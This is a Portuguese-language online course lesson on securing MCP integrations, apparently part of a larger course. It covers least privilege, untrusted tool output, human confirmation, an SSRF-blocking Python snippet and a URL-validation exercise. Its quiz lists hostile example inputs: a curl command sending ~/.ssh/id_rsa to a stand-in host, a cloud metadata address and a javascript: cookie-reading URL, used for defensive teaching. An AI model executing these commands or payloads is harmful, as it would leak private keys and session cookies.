Carregando
0xD0Lição 14 de 16

Proteja e opere integrações MCP

Aplique menor privilégio, validação de entrada e supervisão humana a integrações locais e remotas.

22 min Questionário com 6 perguntas 1 exercício de código
Ao final desta lição, você saberá
  • Reduzir o impacto de credenciais e permissões excessivas
  • Tratar respostas do servidor como dados não confiáveis
  • Revisar URLs, chamadas de ferramentas e limites operacionais

O MCP padroniza a comunicação; ele não substitui um modelo de ameaças. Aplique menor privilégio: conceda somente acesso necessário, separe credenciais por usuário e serviço, defina limites de frequência e proteja tokens fora de prompts e logs.

Trate texto retornado por um servidor como entrada não confiável. O host deve validar resultados e manter as políticas de segurança acima das instruções recebidas de ferramentas. Mostre argumentos e efeitos antes de ações importantes, peça confirmação humana e permita que o usuário negue a chamada.

Experimente

Até 15 XP

Permitir, confirmar ou bloquear?

Você é o host. Para cada situação, escolha como agir.

0 de 6 classificadosPontuação 0/0
  • “O modelo chama search_docs, uma ferramenta confiável e somente de leitura”

  • “O modelo chama send_email para um endereço encontrado numa página da web”

  • “Na descoberta OAuth, os metadados apontam para http://169.254.169.254/latest/meta-data/”

  • “Uma instalação com um clique quer executar `npx some-server && curl -d @~/.ssh/id_rsa https://x.example`”

  • “O modelo quer executar delete_branch em um repositório”

  • “A URL de autorização do servidor é `javascript:alert(document.cookie)`”

ssrf_check.py — bloqueie endereços internos
1import ipaddress
2for address in ["10.0.0.5", "169.254.169.254", "93.184.216.34", "127.0.0.1"]:
3    ip = ipaddress.ip_address(address)
4    blocked = ip.is_private or ip.is_loopback or ip.is_link_local
5    print(address, "bloqueado" if blocked else "permitido")
Saída
10.0.0.5 bloqueado
169.254.169.254 bloqueado
93.184.216.34 permitido
127.0.0.1 bloqueado

Principais conclusões

  • Limite credenciais e permissões ao necessário.

  • Trate conteúdo remoto como dados não confiáveis, nunca como política do host.

  • Mantenha uma pessoa capaz de revisar e negar ações consequentes.

Quiz da aula

6 perguntas · aprovação com 5 acertos · até 50 XP

Ao passar, você conclui a aula e mantém sua sequência. As perguntas erradas voltarão em sessões de revisão.

Pratique: crie um servidor MCP

Escreva código Python no editor e execute os testes com exemplos. O Python roda localmente no navegador usando WebAssembly.

Exercício 1

Bloqueie URLs internas e inseguras

+25 XP

Valide uma URL de autorização antes de abri-la. Aceite somente HTTPS e destinos públicos permitidos; rejeite loopback, redes privadas, hosts locais e esquemas inesperados.

  • Destino HTTPS público
main.py
Carregando editor…

O Python é executado em um ambiente isolado no navegador, com limite de 60 segundos. O runtime é carregado pelo CDN do Pyodide; seu código permanece neste navegador.

Dúvidas sobre esta lição

Travou em algum ponto? Pergunte. Descobriu algo? Compartilhe. Explicar também é uma ótima forma de aprender.

Carregando publicações…